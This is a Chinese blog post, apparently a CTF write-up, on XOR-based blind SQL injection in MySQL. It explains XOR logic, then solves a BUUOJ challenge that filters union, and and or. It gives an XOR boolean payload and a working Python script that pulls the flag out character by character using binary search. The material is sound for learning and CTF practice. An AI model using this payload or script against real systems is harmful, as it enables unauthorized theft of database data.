前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB-异或注入学习

WEB-异或注入学习

作者头像
ly0n
发布2020-11-04 11:04:39
8340
发布2020-11-04 11:04:39
举报
文章被收录于专栏:ly0n

前言

​ 今天做出来了几道libcpwn题,现在奖励自己几道web吧。

​ 学pwn之余,搞搞web????

原理

​ 我们高中的时候学习的数学逻辑。异或就是一种逻辑运算,运算法则概括起来说就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。

mysql里异或运算符为^ 或者 xor

下面我在本地的环境测试一下

两个同为真的条件做异或,结果为假

两个同为假的条件做异或,结果为假

一个条件为真,一个条件为假,结果为真

null与所有条件做异或结果都为null

例题

BUUOJ

拿到题目之后看到了一个输入框,就开始尝试输入

代码语言:javascript
复制
输入1  回显Hello, glzjin wants a girlfriend.
输入2  Do you want to be my girlfriend?
输入1' bool(false)
在输入其他的内容只得到SQL Injection Checked.

我想到的解法:

  • 联合注入: union被过滤
  • 报错注入:and、or、updatexml被过滤
  • 盲注: and or 被过滤

异或应用

上面讲到了异或的原理,可以构造payload:”0^(ascii(substr((select(flag)from(flag)),1,1))>1)”

脚本

代码语言:javascript
复制
#encoding:utf-8
import requests
import time

url = "http://116b4987-7158-432b-a5f2-f3b0154b1157.node3.buuoj.cn/index.php"

payload = {
	"id" : ""
}
result = ""
for i in range(1,100):
	l = 32
	r =128
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		ly0n = requests.post(url,data=payload)
		#print(payload)
		if "Hello" in ly0n.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原理
  • 例题
  • 异或应用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档